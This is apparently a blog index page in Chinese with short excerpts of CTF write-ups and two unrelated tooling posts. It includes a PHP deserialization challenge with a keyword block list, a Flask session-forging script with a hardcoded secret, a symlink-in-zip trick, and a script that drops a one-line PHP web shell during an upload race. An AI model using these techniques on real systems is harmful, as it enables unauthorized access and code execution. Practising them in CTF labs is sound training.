Link's Blog

ISCTF 2025 WP

Thu, 11 Dec 2025 23:09:02 +0800

web
#

Bypass
#

src：

<?php
class FLAG
{
 private $a;
 protected $b;
 public function __construct($a, $b)
 {
 $this->a = $a;
 $this->b = $b;
 $this->check($a,$b);
 eval($a.$b);
 }
 public function __destruct(){
 $a = (string)$this->a;
 $b = (string)$this->b;
 if ($this->check($a,$b)){
 $a("", $b);
 }
 else{
 echo "Try again!";
 }
 }
 private function check($a, $b) {
 $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
 $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

 $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
 $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

 if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
 return false;
 }
 return true;
 } 
}


if (isset($_GET['exp'])) {
 $p = unserialize($_GET['exp']);
 var_dump($p);
}else{
 highlight_file("index.php");
}

注意 __construct 不可以直接引用因此无法让&a = __construct 来调用此外 $a("", $b); 的形式无法通过 &a =FLAG 类来新建对象触发魔术方法因此 __construct function 是干扰项只需专注 __destruct() 由$a("", $b); 想到create_function ()函数

完美解决hexo与vscode无法同时预览图片的路径问题

Thu, 11 Dec 2025 17:38:52 +0800

前言
#

由于vscode 直接粘贴图片到md里面时默认是

![alt text](image-2.png)

但是hexo 识别图片路径在 md文件夹下导致 hexo 和 vscode 没办法同时预览图片我看网上没有讲的很完美的方案于是在此补充

kali虚拟机不能拖拽文件解决方案

Wed, 03 Dec 2025 20:59:44 +0800

2025版 kali（VMware17）无法实现将windows文件直接拖入kali桌面而是会放在/home/用户/.cache/drop and （忘记了）/下

猜测和Ubuntu一样是桌面版本问题

MoeCTF 2025 wp

Sat, 29 Nov 2025 02:11:37 +0800

Web
#

0 Web入门指北
#

jsfuck编码控制台运行即可

10 第十章天机符阵
#

xxe注入 payload:

SuperFileSystem

Tue, 18 Nov 2025 08:57:18 +0800

待解
#

为什么环境变量的key不是test？
#

为什么FileSystem不能通过proc/self/environ访问env文件？
#

前置知识
#

proc/self/environ
#

flask_session
#

import flask_unsign

# 要伪造的数据
data = {
 "username": "admin1",
 "role": "admin"
}
# 已知密钥
secret = "bbc77bd26e9f4ea1af87d1ce3c11e3c4"

# 生成伪造的session
forged_session = flask_unsign.sign(data, secret=secret)
print(forged_session)

复现
#

源码

FileSystem

Mon, 17 Nov 2025 21:08:07 +0800

前置知识
#

软链接
#

ln -s <path_to_file> <link_name> zip -y <zip_filename>.zip <link_name>

express框架session伪造
#

Express Session 伪造的核心原理是绕过服务器的会话验证机制，构造一个能被服务器认可的虚假会话（Session）。其本质是利用会话管理的核心逻辑漏洞（如密钥泄露、签名规则被破解等），生成符合服务器验证格式的会话标识。

EZ_PY

Sat, 15 Nov 2025 20:54:38 +0800

EZ_PY
#

前置知识
#

原型链污染
#

JWT验证
#

JWT（JSON Web Token）验证的核心是通过签名确保 Token 未被篡改，同时验证 Token 的合法性（有效期、签发者等），避免身份伪造。核心验证原理 JWT 由Header.Payload.Signature三段式字符串组成，验证过程围绕这三部分展开，核心是 “签名校验” 和 “内容合法性校验”。

TSCTFwp

Fri, 14 Nov 2025 01:21:48 +0800

Web 方向
#

争渡
#

上传php文件 web返回已从tmp删除可知存在时间差

<?php
$f = fopen("shell.php", "w");
fputs($f, '<?php @eval($_POST["cmd"]);?>');
?>

利用这个脚本在服务器删除该文件之前访问文件使其在tmp写入一句话木马

Link's Blog

ISCTF 2025 WP

web #

Bypass #

完美解决hexo与vscode无法同时预览图片的路径问题

前言 #

kali虚拟机不能拖拽文件解决方案

MoeCTF 2025 wp

Web #

0 Web入门指北 #

10 第十章 天机符阵 #

SuperFileSystem

待解 #

为什么环境变量的key不是test？ #

为什么FileSystem不能通过proc/self/environ访问env文件？ #

前置知识 #

proc/self/environ #

flask_session #

复现 #

FileSystem

前置知识 #

软链接 #

express框架session伪造 #

EZ_PY

EZ_PY #

前置知识 #

原型链污染 #

JWT验证 #

TSCTFwp

Web 方向 #

争渡 #

web
#

Bypass
#

前言
#

Web
#

0 Web入门指北
#

10 第十章天机符阵
#

待解
#

为什么环境变量的key不是test？
#

为什么FileSystem不能通过proc/self/environ访问env文件？
#

前置知识
#

proc/self/environ
#

flask_session
#

复现
#

前置知识
#

软链接
#

express框架session伪造
#

EZ_PY
#

前置知识
#

原型链污染
#

JWT验证
#

Web 方向
#

争渡
#